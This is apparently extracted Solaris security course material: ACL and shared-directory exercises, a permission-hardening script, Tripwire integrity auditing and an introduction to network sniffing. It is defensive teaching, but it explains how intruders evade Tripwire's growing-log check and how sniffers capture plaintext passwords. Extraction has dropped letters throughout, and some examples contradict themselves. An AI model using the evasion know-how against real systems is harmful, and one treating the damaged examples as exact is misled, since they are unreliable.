2. Set the group name to be the same as the user name.
3. Create a third group called admin if this does not already exist.
4. Change alice so that alices primary group is alice and also
place alice in the admin group. Also change bob to have a primary
group of bob and a secondary group of admin.
5. Ensure both users have a umask setting of 027 (either set this
manually or ensure it is in /etc/profile or another suitable login
prole le).
6. As user alice, create a shared directory called work in alices
home directory. Ensure this directory can be shared by members of
the admin group but do not yet set the SGID bit for this directory.
7. As alice, create a le in this directory and as bob create another le
in the directory. Can alice read all les in the shared directory?
Can bob read all les?
8. Set the SGID bit for this directory and get alice and bob to create
two more les. Can both users read these les?
9. As bob, try to delete the rst le alice created. Did this work?
10. As alice, set the sticky bit on the directory and as bob try to delete
the second le alice created. Did this work?
11. Can alice delete all the les in the work directory, including those
owned by bob?
Task Creating File System Hardening Checklist
Create a shell script that checks for le system permission violations or
other le system security holes. Include any checks that you feel are
important.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following tasks ask you to exercise the knowledge of access control
lists and le or directory permissions that you gained in this module.
Creating ACLs
Create a le (in any manner you want) and set the standard UNIX
permissions to readwrite for the owner only. Make sure you create the
le on a UFS le system such as in a users home directory. Do not use the
/tmp directory because this is usually a swapfs le system and does not
support ACLs.
1. The code below shows the acl_file before an ACL entry has been
created.
$ echo "a small file" > acl_file
$ chmod 600 acl_file
$ ls -l acl_file
-rw------- 1 groucho other 13 May 8 14:24 acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
mask:---
other:---
2. Use the setfacl -m command to create ACL entries for the le
(do not forget to set the mask bits):
$ setfacl -m user:alice:rw-,user:bob:r--,mask:rw- acl_file
or
$ setfacl -r -m user:alice:rw-,user:bob:r-- acl_file
$ ls -l acl_file
$ -rw-------+ 1 groucho other 13 May 8 14:35 acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
user:alice:rw- #effective:rw-
user:bob:r-- #effective:r--
mask:rw-
Exercise Solutions
other:---
4. Use the setfacl -m command to modify the ACL for alice:
$ setfacl -m user:alice:r-- acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
user:alice:r-- #effective:r--
mask:rw-
other:---
a. Alternatively, change the mask so no one can write to the le:
$ setfacl -m mask:r-- acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
user:alice:rw- #effective:r--
mask:r--
other:---
b. Use the setfacl -d command to remove the ACL entry for
bob:
$ setfacl -d user:bob acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
mask:rw-
other:---
c. Alternatively, use the setfacl -m command to remove bobs
read permissions:
$ setfacl -m user:bob:--- acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
Exercise Solutions
# group: other
user::rw-
user:bob:--- #effective:---
mask:rw-
other:---
d. Or remove bobs permissions with:
$ setfacl -d bob acl_file
$ getfacl acl_file
# file: acl_file
# owner: groucho
# group: other
user::rw-
mask:rw-
other:---
Creating a Group-Shared Directory
1. Create separate groups for each of the two users alice and bob.
2. Set the group name to be the same as the user name.
3. Create a third group called admin if this does not already exist.
4. Change alice so that the primary group is alice and the user is in
the admin group. Also change bob to have a primary group of bob
and a secondary group of admin.
# groupadd alice
# groupadd bob
# groupadd admin
# usermod -g alice -G admin alice
# usermod -g bob -G admin bob
5. Ensure that both users have a umask setting of 027 (either set this
manually or ensure it is in the /etc/profile le or another suitable
login prole le).
alice$ umask 027
bob$ umask 027
Exercise Solutions
6. As user alice, create a shared directory called work in alices
home directory. Ensure that this directory can be shared by members
of the admin group but do not yet set the set-group-id bit for this
directory.
alice$ mkdir work
alice$ chgrp admin work
alice$ chmod g+w work
7. As alice, create a le in this directory and as bob try to create
another le in the directory.
alice$ touch work/alice1
bob$ touch ~alice/work/bob1
alice$ ls -ld work work/*
drwxrwx--- 2 alice admin 512 Jul 5 16:57 work
-rw-r----- 1 alice alice 0 Jul 5 16:57 work/alice1
-rw-r----- 1 bob bob 0 Jul 5 16:57 work/bob1
Can alice read all les in the shared directory?
No, alice cannot read bobs le because bob is not the owner or in
the les group.
Can bob read all les?
No, bob cannot read alices le because alice is not the owner or in the
les group.
8. Set the set-group-id bit for this directory and get alice and bob to
create two more les.
alice$ chmod g+s work
alice$ touch work/alice2
bob$ touch ~alice/work/bob2
drwxrws--- 2 alice admin 512 Jul 5 17:03 work
-rw-r----- 1 alice alice 0 Jul 5 16:57 work/alice1
-rw-r----- 1 alice admin 0 Jul 5 17:03 work/alice2
-rw-r----- 1 bob admin 0 Jul 5 17:03 work/bob2
Exercise Solutions
Can both users read these les?
Yes, both alice and bob can read the two new les because they are
in the same group as the le.
9. As bob, try to delete the rst le that alice created.
bob$ rm ~alice/work/alice1
rm: /export.home/alice/work/alice1: override protection 640 (yes/no)? y
Did this work?
Yes it did because bob has write permission to the directory. The rm
warning was issued because bob does not have write permission to the
le, but this does not affect the ability to delete the le.
alice$ chmod +t work
drwxrws--T 2 alice admin 512 Jul 5 17:05 work
-rw-r----- 1 alice admin 0 Jul 5 17:03 work/alice2
-rw-r----- 1 bob admin 0 Jul 5 17:03 work/bob2
10. As alice, set the sticky bit on the directory and as bob try to delete
the second le alice created.
bob$ rm ~alice/work/alice2
rm: /export.home/alice/work/alice1: override protection 640 (yes/no)? y
rm: alice2 not removed: Permission denied
Did this work?
No, the sticky bit prevents bob from deleting les that bob does not
own.
11. Can alice delete all the les in the work directory, including those
owned by bob?
Yes alice can because alice owns the directory.
Exercise Solutions
Creating a File System Hardening Checklist
The following is an example script. You might have thought of extra
checks.
1 # find files in bin and system directories that are world-writable
2 find /usr/sbin /usr/bin /etc /var -perm -o=w -type f -exec ls -l {}
\;
3
4 # find root owned files running SUID compare with valid list
5 find / -perm -u=s -user root -type f -exec ls -l {} \; > /tmp/suid
6 diff /tmp/suid /var/security/valid_suid_root
7
8 # find any files running SUID or SGID and compare with valid list
9 find / $ -perm -u=s -o -g=s $ -type f -exec ls -l {} \; > /tmp/gsid
10 diff /tmp/sgid /var/security/valid_suid_sgid
11
12 # find any files not owned by a valid user
13 find / -nouser -print
14
15 # find devices not in /devices directory
16 find / -name devices -prune -o -name dev -prune -o -name proc -prune
-o $ -type c -o -type b $ -print
17
9-1
Module 9
AuditingFileSystems
Objectives
G Describe the role of le system auditing
G Describe how le system auditing tools such as TripWire can secure
your system
G Describe the purpose of the Solaris OE Fingerprint Database
Relevance
Relevance
?
!
Discussion The Solaris OE contains many applications and important
system files. Can you:
G Be sure that les integral to the security of your system have not been
tampered with?
G Quickly verify that your important les were left untouched after a
system break-in?
Auditing File Systems 9-3
G Online manual pages for tripwire(8) and tw.config (5).
G The Solaris OE Fingerprint Database
[http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl]
G The Solaris OE md5 program
[http://sunsolve.sun.com/md5/md5.tar.Z]
G The TripWire tool download site:
[ftp://ftp.cerias.purdue.edu/pub/tools/unix/ids/tripwire
/Tripwire-1.3.1-1.tar.gz]
What Is Auditing?
What Is Auditing?
File system auditing is the process of monitoring the le system for
changes, and reporting those changes that are deemed important. A le
system audit can look for any change to the le system, such as new or
deleted les, a change in le contents, or a change in a le time stamp.
What Is Auditing?
The results of a le system audit can determine:
G Whether a system break-in has occurred, due to the identication of
le modications made by intruders either trying to cover their
tracks or installing modied programs
G Whether system les have been tampered with, and whether those
les should now be investigated to determine if they can be trusted
G Which les have been modied after a successful system break-in
What Is Auditing?
Auditing Techniques
A le system auditing tool typically creates a database representing the
current state of the le system. At some later time, you run the tool again
to compare the new state of the le system with the database recorded the
rst time that the tool was run. You can generate a report describing what
has changed. After recording and investigating any changes, the database
should be updated with those changes that have been acknowledged.
Auditing tools allow an administrator to specify which parts of the le
system to monitor, and how to monitor them. There are many attributes of
a le system that can be monitored:
G New and deleted les
G File size
G File contents (using a checksum or signature)
G File owners (user and group)
G The le mode (permissions)
What Is Auditing?
G Time stamps (access, modication, and inode update)
G Inode number (showing that a le has been replaced)
When congured, most le system auditing tools can be automatically
executed at regular intervals, and the report emailed to an administrator.
However, some manual intervention is required to ensure that the audit
tool itself, the conguration les, or the database, have not been tampered
with.
Another approach to le system auditing is the use of large databases
containing le signatures (see File Digest Algorithms on page 9-11). With
this approach, you use a program to obtain the signature of a le, and
then use this signature to query the database. A report is produced on the
le, describing whether it is contained in the database. For example, if the
database contains all known binary programs in all operating releases
from a certain vendor, then the report describes the operating system
version and patch level of the le. These databases are extremely useful
when acquiring a system with an unknown history, because they allow
you to verify whether the les are from an original distribution.
What Is Auditing?
Using Audits to Detect Successful Security Attacks
There are several ways to use a le system auditing tool to detect a
successful security attack. The following le system changes might be
made by an intruder on your system, and should be investigated:
G A le that should not change has changed (for example, /bin/login
has changed due to an intruder installing a modied version)
G A new le has been added to a directory that should not generally
change (for example, an intruder has added a network sniffer to
/usr/bin)
G A log le has shrunk (an intruder tried to cover their tracks by
editing one of the many system logs)
G A new user has been added to the password le (this might not be
due to an intruder, but the system administrator should be aware of
it)
What Is Auditing?
File Digests and Checksums
File system auditing tools use checksums and le digest algorithms to
monitor a le for changes. These values are stored in the audit database,
along with other attributes such as le size. There are advantages and
disadvantages to both checksums and le digest algorithms, therefore,
most tools allow you to choose which to use.
What Is Auditing?
Checksum Algorithms
Checksums are small (16 or 32 bit) values and they are used primarily for
monitoring les against casual or random modications. A determined
intruder can modify a le and still keep the size and checksum unchanged.
The algorithms, although insecure against a determined intruder, are
extremely fast. CRC16 and CRC32 are examples of two modern checksum
algorithms.
The UNIX utility sum is a simple checksum algorithm, as shown in
Code 9-1.
Code 9-1 Example Checksum Algorithm
# sum /usr/bin/ksh
2940 393 /usr/bin/ksh
What Is Auditing?
File Digest Algorithms
File digest algorithms (sometimes called Message Digest Algorithms, or
Cryptographic One-Way Hash Functions) are extremely complex
algorithms developed by cryptographers. The le digests (or signatures)
generated by these algorithms can be thought of as a small (often around
16 or 20 bytes) representation of a le. Any change results in the
corresponding le digest changing as well. When using a good le digest
algorithm, an intruder cannot modify a le and leave the le digest value
unchanged.
The downside to the good security of le digest algorithms is that they
can be very slow compared to checksum algorithms. Message Digest
version 5 (MD5) and Secure Hash Algorithm (SHA) are two of the more
popular and trusted algorithms.
What Is Auditing?
An MD5 program is not supplied with Solaris OE but can be downloaded
from the Web site shown in Additional Resources on page 9-3. Code 9-2
shows an example MD5 algorithm
Code 9-2 Example MD5 Algorithm
# md5 /usr/bin/ksh
MD5 (/usr/bin/ksh) = 0c9979ee5d4aabf6f084b21bc6b46b8a
What Is Auditing?
The Solaris OE Fingerprint Database
The Solaris OE Fingerprint Database is a SunSolve
SM
service that enables
you to verify the integrity of les distributed with the Solaris OE,
Solaris OE patches, and unbundled products, such as SPARC compilers.
The Solaris OE Fingerprint Database can verify that a customer is using a
true le in an ofcial binary distribution, and not a recompiled version
that could compromise security, or at least cause support problems. You
must enter a les MD5 signature to obtain a report on the le. The MD5
program is required to generate the MD5 signature.
The MD5 program and the Solaris OE Fingerprint Database are available
from the SunSolve Web site (see Additional Resources on page 9-3 for
the URL).
What Is Auditing?
Example output for the MD5 signature from the /us/bin/ksh in Code 9-2
on page 9-12 is shown in Figure 9-1.
Figure 9-1 Solaris Fingerprint Database
Using TripWire to Audit File Systems
TripWire is a freeware le system auditing tool that creates a database of
information about les on a le system. This database is later compared
with the current le system to determine what has changed, which
provides a way of determining which les have been modied. You can
then update the database with the new changes, after the changes have
been investigated.
One way to use the TripWire tool is to initialize the database, store a
secure copy offsite, and then use the TripWire tool from a cron job to
regularly audit the le system. If there are changes, TripWire noties you
using email.
When the TripWire tool reports a change to a les contents, it noties you
that a change has occurred, but does not give information about what the
change is. You should completely reinstall corrupted les instead of trying
to x them.
Note The TripWire tool was developed by Eugene Stafford and Gene
Kim at Purdue University in 1992. TripWire was commercialized in 1998
and is maintained by TripWire Security, Inc.
Obtaining the TripWire Tool
The TripWire tool can be obtained from the FTP site listed in Additional
Resources on page 9-3.
Editing the TripWire Configuration File
You must edit the tw.config default conguration le to t the
requirements of the system. This le is kept in the TripWire conguration
directory which is determined when TripWire is built and installed. By
default this is /usr/local/bin/tw.
TripWire includes many default congurations for most popular UNIX
platforms in the configs subdirectory of the TripWire installation
directory. Typically, you copy a standard conguration to your tw.config
le and remove all directories and les that are of no interest and add any
additional les and directories that are important.
Each line in this le contains a le (or directory) path name and a string of
characters representing the attributes to monitor.
The characters in the tw.config indicate to TripWire which attributes to
check. A full list of attributes is shown in Table 9-1.
Table 9-1 TripWire Attribute Characters
Attribute Meaning
p Permission and le mode bits
i Inode number
n Number of links (that is, the inode reference count)
u User ID of owner
g Group ID of owner
s Size of le
a Access time stamp
m Modication time stamp
c Inode creation or modication time stamp
0 Null signature
1 MD5, the RSA Data Security, Inc.
Message
Digesting Algorithm
2 Snefru, the Xerox Secure Hash Function
3 CRC-32, POSIX 1003.2 compliant 32-bit Cyclic
Redundancy Check
4 CRC-16, the standard (non-CCITT) 16-bit Cyclic
Redundancy Check
5 MD4, the RSAData Security, Inc. Message Digesting
Algorithm
6 MD2, the RSAData Security, Inc. Message Digesting
Algorithm
7 SHA, the NIST Secure Hash Algorithm
(NIST FIPS 180)
8 Haval, a strong 128- bit signature algorithm
9 Null signature (reserved for future expansion)
If a character is prexed with a + (for example, +pugs1m for /fred),
those respective attributes are used when checking a le. Attributes
prexed with a - are not checked.
Configuration Templates
Using the character codes to specify the audit attributes for les and
directories can be tedious and prone to error. The TripWire tool contains
templates that can import a set of attributes. Table 9-2 shows the
templates that are dened.
By default, TripWire uses the R template, which ignores only the access
time stamp.
Table 9-2 TripWire Conguration Templates
Template Description Attributes
R Read-only +pinugsm012-a3456789
L Log le +pinug-samc0123456789
> Growing log le +pinug-samc0123456789
N Nothing -pinugsamc0123456789
E Everything +pinugsamc0123456789
You can use the templates in a modied manner by appending additional
characters. For example, use the sequence L+c-p for a log le where inode
creation and modication time (c) should be monitored, but the
permissions (p) can be ignored.
The only difference between the log le template (L) and the growing log le
template (>), is that the growing log le template is the only template that
ignores les that increase in size, by ignoring the > attribute. However, it
still checks that the le does not decrease in size.
A tw.config le is shown in Code 9-3.
Code 9-3 Simple TripWire Conguration
# more tw.config
/etc/passwd +pugs1m-a
/etc/shadow +pugs1m-a
/usr/sbin +pugs1m-a
/usr/bin +pugs1m-a
/var/log/messages >
Go to the online manual page for tw.config (5) for information about
additional switches and templates where switches can be grouped
together.
Generating a TripWire Database
You can create a new TripWire database by running TripWire with the
-initialize argument. If you also provide the verbose ag (the -v
argument), then each le name and directory appears as it is scanned, as
shown in Code 9-4.
Code 9-4 Creating a New TripWire Database
# tripwire -initialize
Tripwire(tm) ASR (Academic Source Release) 1.3.1
File Integrity Assessment Software
(c) 1992, Purdue Research Foundation, (c) 1997, 1999 Tripwire
Security Systems, Inc. All Rights Reserved. Use Restricted to
Authorized Licensees.
### Phase 1: Reading configuration file
### Phase 2: Generating file list
### Phase 3: Creating file information database
###
### Warning: Database file placed in ./databases/tw.db_grommit.
###
### Make sure to move this file and the configuration
### to secure media!
###
### (Tripwire expects to find it in '/var/tripwire'.)
Checking a TripWire Database
When you generate or initialize the database, you should archive it
securely. The TripWire tool can check the integrity of the system by
comparing the archived database with the current system.
Copy the TripWire database Code 9-4 on page 9-21 to the default TripWire
database directory location (/var/tripwire in this example), and run the
TripWire tool to determine if any les on the system have changed, as
shown in Code 9-5.
Note The name of the database le depends upon the hostname of the
system. These examples use the hostname grommit, and the database le
is tw.db_grommit. You must modify the examples to suit your server;
check the contents of the databases directory to determine what le
name you should use.
Code 9-5 Running TripWire to Identify Changed Files
# cp databases/tw.db_grommit /var/tripwire
# tripwire
### Phase 4: Searching for inconsistencies
###
### All files match Tripwire database. Looks okay!
###
This example indicates that no les were modied.
Identifying Inconsistencies
To show TripWire recognizing an inconsistency, modify one of the les
that is being checked, and run TripWire again, as shown in Code 9-6.
Code 9-6 Running TripWire to Identify Inconsistencies
# touch /usr/bin/ksh
# tripwire
###
### Total files scanned: 617
### Files added: 0
### Files deleted: 0
### Files changed: 1
###
### Total file violations: 1
###
changed: -r-xr-xr-x root 795 Jul 6 12:28:28 2001 /usr/bin/clear
### Phase 5: Generating observed/expected pairs for changed files
###
### Attr Observed (what it is) Expected (what it should
be)
### =========== ======================================================
/usr/bin/clear
st_mtime: Fri Jul 6 12:28:28 2001 Thu Apr 26 17:56:50 2001
st_ctime: Fri Jul 6 12:28:28 2001 Thu Apr 26 17:56:50 2001
Updating the Database
You can update the database to accommodate sanctioned changes by
running the TripWire tool in the update mode, as shown in Code 9-7,
where directories or les can be specied.
Code 9-7 Running TripWire in the Update Mode
# tripwire -update /usr/bin/clear
Security Systems, Inc. All Rights Reserved. Use Restricted to
Updating: update file: /usr/bin/clear
### Phase 3: Updating file information database
###
### Old database file will be moved to `tw.db_grommit.old'
### in ./databases.
###
### Updated database will be stored in './databases/tw.db_grommit'
### (Tripwire expects it to be moved to '/var/tripwire'.)
###
### Database cleanup started
### Database cleanup finished
# cp ./databases/tw.db_grommit /var/tripwire
Double-Checking Integrity
Copy the database to the default TripWire database directory location
(/tmp in this example), and perform another integrity check to determine
if the changes to the /fred directory are reported after a database update.
# cp databases/tw.db_grommit /tmp
# tripwire
###
### All files match Tripwire database. Looks okay!
###
For additional information about the TripWire tool, read the README le in
the TripWire directory or the tripwire(8) and tw.config(5) manual
pages.
Securing the TripWire Database
You should store TripWire databases in a secure manner. For example,
use:
G Read-only media
G Removable media
G A trusted secure server
G A copy on a machine that is not connected to a network
The database must be secured in this way to ensure that TripWire reports
any changes made to the database (for example, an intruder might
perform a TripWire initialize operation after installing modied programs,
to try to avoid changes being reported).
A typical approach to this problem is to store a copy of the TripWire
database ofine (for example, on removable media). This copy can
regularly overwrite the database stored on the le system. Alternatively,
you can compare the secure ofine database to the le system copy using
MD5 signatures.
This security is also required with the TripWire executables and the
tw.config conguration le. Again, this is because the executables and
conguration le could be modied by an intruder so that the le system
audit does not report certain changes. However, you can easily rebuild the
executables and the conguration le once in a while.
Exercise: Using the TripWire Tool
G Congure, compile, and install the TripWire tool
G Create and update a TripWire database for a set of les
G Generate some TripWire reports
G Modify one or more of the les that TripWire monitors to ensure that
the changes are reported
Preparation
utility.
Task Installing TripWire
The TripWire download site is listed in Additional Resources on
page 9-3. A copy of the download le (swatch.tar) is also in the
To install TripWire:
1. Extract the TripWire archive into a subdirectory under /usr/local
and read the installation instructions.
2. Edit the makefile to use the install utility in the
/usr/ucb/install directory. Search for the pattern ucb in the le
and uncomment this line and comment out the previous line. The
lines should now read:
#INSTALL= /usr/bin/install # common
INSTALL= /usr/ucb/install # Pyramid DC/OSx (SVR4)
3. Also edit the makefile to set the following parameters (dened at
the top of the le):
DESTDIR=/usr/local/bin
DATADIR=/var/tripwire
MANDIR=/usr/local/man
4. Before installing TripWire you need two directories for the manual
pages. If these directories do not exist, enter these commands.
# mkdir /usr/local/man/man5
Note If you install TripWire without rst creating these directories, the
installation process incorrectly creates plain les with these names and
fails to install the manual pages. Remove the plain les with the rm
command, create the directories as above, and install TripWire again.
5. Follow the instructions in the README le in the TripWire directory to
install TripWire. You must update the include/config.h le to
make sure that the installation and data directories match the values
of the variables in the makefile. Set the appropriate lines in this le
to:
#define CONFIG_PATH "/usr/local/tripwire"
#define DATABASE_PATH "/var/tripwire"
Task Creating a TripWire Configuration
1. Congure the TripWire tool to generate a database for these
directories:
G /etc/passwd
G /etc/shadow
G /usr/bin
2. Select the following options for all checked les:
a. Check the user, group, permissions, and le size attributes.
b. Use le digest algorithm SHA signatures in addition to MD5.
c. Do not check the access time attributes.
3. You must rename the existing tw.config database le you created
when you installed TripWire, otherwise the TripWire le checking
process takes too long (about 45 minutes for the standard
conguration).
4. Generate a database and use the verbose ag to make sure that the
correct les and directories are being checked.
Task Running System Integrity Checks
For this part of the exercise, you make changes to the system and run
TripWire to detect those changes. Ask your instructor if you have any
questions about the purpose of any of the tests or the outcome of the
integrity checks.
To run system integrity checks:
1. Perform an integrity check on the system. What changes were
found?
2. Change the comment eld for the daemon entry in the /etc/passwd
le.
3. Perform an integrity check on the system. Did the TripWire tool
report the change?
4. Refer to the TripWire manual page and run the TripWire tool in quiet
mode. Record your results here.
Command: _______________________________
Results: _________________________________
5. Update the database to include the change to the /etc/passwd le.
6. Perform an integrity check on the database. Explain the results.
7. Refer to the tw.config manual page and determine which template
to use with the log les that are expected to grow.
8. Create a le called my-log.
9. Add an entry to your tw.config le called
configs/tw.check to monitor your my-log log le.
10. Add text to your log le.
11. Initialize your database.
12. Perform a quiet mode integrity check of the system. Record your
results here and explain the results:
____________________________________________________
____________________________________________________
15. Remove some text from your log le.
____________________________________________________
17. Update the TripWire database.
____________________________________________________
19. Change text in your log le, taking care not to change the le size.
____________________________________________________
21. What conclusions can you draw from this result?
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following are the solutions to the tasks.
Installing TripWire
The TripWire download site is listed in Additional Resources on
page 9-3. A copy of the download le (Tripwire-1.3.1-1.tar) is also in
the /usr/local/pkg directory.
To install TripWire:
1. Extract the TripWire archive into a subdirectory under /usr/local
and read the installation instructions.
1 # cd /usr/local
2 # tar xvf pkg/Tripwire-1.3.1-1.tar
3 # cd tw_ASR_1.3.1_src
4 # more README
2. Edit the ./include/config.h le as follows:
a. Change the location of the conguration and database les
from:
#define CONFIG_PATH "/usr/local/bin/tw"
to
#define CONFIG_PATH "/usr/local/tripwire"
b. Create a directory for the conguration le and copy the default
conguration le to the new directory. (You will overwrite this
conguration later in this exercise.)
# mkdir -p /usr/local/tripwire /var/tripwire
# cp configs/tw.conf.sunos5 /usr/local/tripwire/tw.config
The tw.config le contains a list of all les and directories that are
checked and veried by TripWire.
Exercise Solutions
c. Edit the makefile and use the install utility in
/usr/ucb/install. Search for the pattern ucb in the le and
uncomment this line and comment out the previous line. The
lines should now read:
#INSTALL= /usr/bin/install # common
INSTALL= /usr/ucb/install # Pyramid DC/OSx (SVR4)
3. Also edit the makefile to set the following parameters (dened at
the top of the le):
DESTDIR=/usr/local/bin
DATADIR=/var/tripwire
MANDIR=/usr/local/man
4. Before installing TripWire you need two directories for the manual
pages. If these directories do not exist, enter these commands:
Note If you install TripWire without rst creating these directories the
installation process incorrectly creates plain les with these names and
fails to install the manual pages. Remove the plain les with the rm
command, create the directories as above, and install TripWire again.
5. Build and install TripWire with:
# make install
If this fails, correct the config.h le and/or Makefile and run the
command:
# make clean
Before re-running the make install command, verify that the
compilation was successful.
# make test
6. Verify that the tripwire executable is in your path.
# tripwire -version
Security Systems, Inc. All Rights Reserved, Use Restricted to
Exercise Solutions
Creating a TripWire Configuration
1. Congure the TripWire tool to generate a database for these
directories:
G /etc/passwd
G /etc/shadow
G /usr/bin
2. Select the following options for all checked les:
a. Check the user, group, permissions, and le size attributes.
b. Use le digest algorithm SHA signatures in addition to MD5.
c. Do not check the access time attributes.
3. Rename the existing tw.config database le you created when you
installed TripWire.
# cd /usr/local/tripwire
# mv tw.config sunos5.conf
4. Edit a new conguration le:
# vi tw.config
5. Add the following to the le:
/etc/passwd +ugps17-a2345689
/etc/shadow +ugps17-a2345689
/usr/bin +ugps17-a2345689
6. Generate a database and use the verbose ag to make sure that the
correct les and directories are being checked.
# tripwire -v -initialize
7. Copy the database to the default TripWire database directory
location (/var/tripwire in this example).
Exercise Solutions
Running System Integrity Checks
For this part of the exercise you make changes to the system and run
TripWire to detect those changes. Ask your instructor if you have any
questions about the purpose of any of the tests or the outcome of the
integrity checks.
1. Perform an integrity check on the system.
# tripwire -v
What changes were found?
No changes should have been found or reported.
2. Change the comment eld for the daemon entry in the /etc/passwd
le.
Change the entry to something like this:
daemon:x:1:1:TripWire was here:/:
3. Perform an integrity check on the system.
# tripwire -v
Did TripWire report the change?
Yes, TripWire reported that /etc/passwd had been modied.
###
changed: -rw-r--r-- root 431 May 7 18:23:14 2001 /etc/passwd
### Phase 5: Generating observed/expected pairs for changed files
###
### Attr Observed (what it is) Expected (what it should
be)
### ========= ============================= =============================
/etc/passwd
st_size: 431 414
...
4. Refer to the TripWire manual page and run the TripWire tool in quiet
mode. Record your results here.
# tripwire -q
changed: -rw-r--r-- root 414 May 7 18:28:41 2001 /etc/passwd
5. Update the database to include the change to the /etc/passwd le.
# tripwire -v -update /etc/passwd
Exercise Solutions
6. Perform an integrity check on the database.
# tripwire -v
What did TripWire report?
No changes should have been found or reported.
7. Refer to the tw.config manual page and determine which template
to use with log les that are expected to grow.
The > template reports when the le checked is smaller than the last
recorded size. This function also reports if someone removes entries from a
log le.
8. Create a le called my-log.
# touch /export/home/my-log
9. Add an entry to your tw.config le to monitor your my-loglog le.
# vi /usr/local/tripwire/tw.config
10. Add the following to the le:
/export/home/my-log >
The > ag is the log le template described earlier.
# echo Hey there >> /export/home/my-log
# cat /export/home/my-log
Hey there
#
12. Initialize your database.
# tripwire -v -initialize
13. Perform a quiet mode integrity check of the system.
# tripwire -q
Record your results here.
Nothing should be reported.
Explain the results.
No changes have been made to the database.
Exercise Solutions
1 # echo Hey there >> /export/home/my-log
2 # cat /export/home/my-log
3 Hey there
4 Hey there
5 #
# tripwire -q
The > template only reports if the le is smaller than that recorded in the
database.
16. Remove some text from your log le.
1 # vi /export/home/my-log
3 Hey there
4 Hey
5 #
# tripwire -q
The le is still larger than the image in the database. The > template only
reports if the le is smaller.
18. Update the TripWire database.
# tripwire -update /export/home/my-log
19. Copy the database to the expected directory.
Exercise Solutions
# tripwire -q
The > template reports only if the le size is smaller than when it was last
checked.
21. Change text in your log le, taking care to not change the le size.
1 # vi /export/home/my-log
3 Way hello
4 Day
5
# tripwire -q
The le size remained the same, even though the data was completely
changed.
23. What conclusions can you draw from this result?
The > template is open to exploitation if crackers know that they can cover
their tracks in a log le monitored by TripWire if they change or add data
instead of removing data entries.
10-1
Module 10
AttackingNetworkData
Objectives
G Describe the term network snifng
G Describe use of common sniffer tools
G Describe common network service attacks
G Describe network DoS attacks
Relevance
Relevance
?
!
attacks on network data:
G Can you restrict access to your network:
G So that unauthorized systems cannot connect to the network?
G So that there is no unauthorized software on authorized
systems?
G Does your network extend to a public telecommunications backbone
(for example Internet access)?
G Do any of your users send unencrypted user names and passwords
across the network?
Hint: If your users use telnet, ftp, Simple Network Management
Protocol (SNMP), Post Ofce Protocol 3 (POP3), HTTP, and other
TCP/IP services without using secure sockets, then they are sending
plain text passwords regularly.
Attacking Network Data 10-3
2001.
G Garnkel, Simson, and Spafford, Gene. Practical UNIX & Internet
G Online manual pages for snoop(1).
G Solaris OE Answerbook 2.
G The dsniff utility ported to Solaris OE 2.x,
Network Sniffing
Network Snifng
A network sniffer is a program or special device which monitors your
network and collects some or all of the data that it nds. The term sniffer
is used because sniff was the name of the original program developed to
analyze network trafc (the sniff program is owned and marketed by
Network Associates, Inc.).
Sniffers were developed to enable engineers to debug networking
problems. They provide packet analysis capabilities letting the engineer
view the data in its raw form (streams of octets). Modern sniffers interpret
standard protocols and provide a user-readable summary of data gathered
from the network.
Network Sniffing
Code 10-1 shows what output from a sniffer can look like.
Code 10-1 Sniffer Output
192.168.1.1 -> 192.168.1.2 length: 124 TELNET R port=1239
0: 0001 02de 3436 0800 20c1 0efe 0800 4500 ....46.. .. ..E.
16: 006e 9a34 4000 3c06 2102 c0a8 0101 c0a8 .n.4@.<.!.......
32: 0102 0017 04d7 743b f92a 01c5 f61f 5018 ......t;.*....P.
48: 60f4 9c6c 0000 6c6f 6361 6c2e 6373 6872 `..l..local.cshr
64: 6320 2020 206c 6f63 616c 2e6c 6f67 696e c local.login
80: 2020 2020 6c6f 6361 6c2e 7072 6f66 696c local.profil
96: 6520 206d 6b66 7470 2020 2020 2020 2020 e mkftp
112: 2020 6e73 6d61 696c 0d0a 2320 nsmail..#
Code 10-1 is output from the standard Solaris OE snoop utility which
includes a complete hexadecimal dump of the packet data after a
summary line. The summary tells you that this is a telnet packet from
host 192.168.1.1 to 192.168.1.2.
This output is a listing from the ls command. The packet data starts at
offset 54 and at offset 120 there is a carriage return and a line feed (CR and
LF) pair (hex codes 0D/0A), and a shell prompt (#).
Network Sniffing
Implications of Sniffing
Network snifng allows potential access to all the data transmitted on the
network. With modern clientserverbased architectures, especially with
the dominance of Web-based services, a network sniffer can collect large
amounts of data in a very short amount of time.
?
!
Discussion Consider the network you have in your organization and
the type of data that is transmitted across it. For example, do you work
from a PC and administer your Solaris OE servers using telnet (or
X-Windows)? If so, every character you send and receive is transmitted,
un-encrypted, across the network. Do you ever use the su command to
log in as the root user? If so, you might have just handed your root user
password over to an intruder.
Network Sniffing
How Sniffers Work
A network interface card (NIC) can usually only pick up trafc addressed
to itself, or broadcast and multicast packets. To sniff the network, the card
must be put into a special mode, called promiscuous mode, where it picks
up all network trafc.
All network cards support promiscuous mode and some operating systems
can provide a means for programs to switch the card into this mode. The
Solaris OE does support the ability to switch a network card into this
mode but restricts access to the physical device (/dev/hme) to the root
user. PC-based systems running Microsoft Windows 95/98/ME normally
cannot deny user access to low-level hardware devices, which allows any
PC user to run snifng tools.
Because of promiscuous mode security implications, some network cards
can have promiscuous mode disabled in the rmware (effectively
preventing sniffers from working). However, the rmware can be
modied to re-enable promiscuous mode using standard tools provided
by the network card manufacturer.
Network Sniffing
Detecting Sniffers
Detecting whether your network is being sniffed is almost impossible. A
few tools, such as cpm (check promiscuous mode) from Carnegie Mellon
University (ftp://infor.cert.org/pub/tools), can detect if a network
interface is in promiscuous mode. However, this tool must run on the host
concerned.
General logging mechanisms show network sniffers using up inordinate
amounts of network I/O (a very high proportion of input to output) and
network sniffers often generate large data capture les over time.
Regular monitoring of suspicious activities can help detect snifng activity
on a host. However, an intelligent intruder can usually hide the sniffer so
